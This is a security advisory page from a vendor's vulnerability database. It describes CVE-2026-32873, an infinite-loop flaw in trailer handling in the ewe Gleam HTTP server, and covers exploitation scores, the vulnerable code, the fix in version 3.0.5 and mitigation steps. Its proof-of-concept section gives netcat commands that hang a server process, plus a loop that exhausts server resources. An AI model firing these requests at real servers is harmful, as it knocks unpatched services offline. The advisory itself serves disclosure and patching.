Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💧
💧 Hex
Not in CISA KEV
HIGH severity

GHSA-4w98-xf39-23gp ewe

HIGHFix: vshakitskiy/ewe@8513de9

GHSA-4w98-xf39-23gp is a high-severity (CVSS 7.5) CWE-825 vulnerability in ewe. A fix is available for ewe — see the affected versions and patch details below.

Loop with Unreachable Exit Condition ('Infinite Loop') in ewe

Also known asCVE-2026-32873
Published
Mar 16, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4w98-xf39-23gp.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-4w98-xf39-23gp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
💧ewe

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💧Hexewe0.8.0&&< 3.0.53.0.5mix deps.update ewe

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ewe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ewe to 3.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4w98-xf39-23gp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4w98-xf39-23gp can be triaged on real exposure rather than presence alone.

Tailored to GHSA-4w98-xf39-23gp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape. ## Impact When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse
O3 Security · Impact-Aware SCA

Is GHSA-4w98-xf39-23gp in your dependencies?

O3 Security finds GHSA-4w98-xf39-23gp across Hex dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-4w98-xf39-23gp: ewe (High 7.5) | O3 Security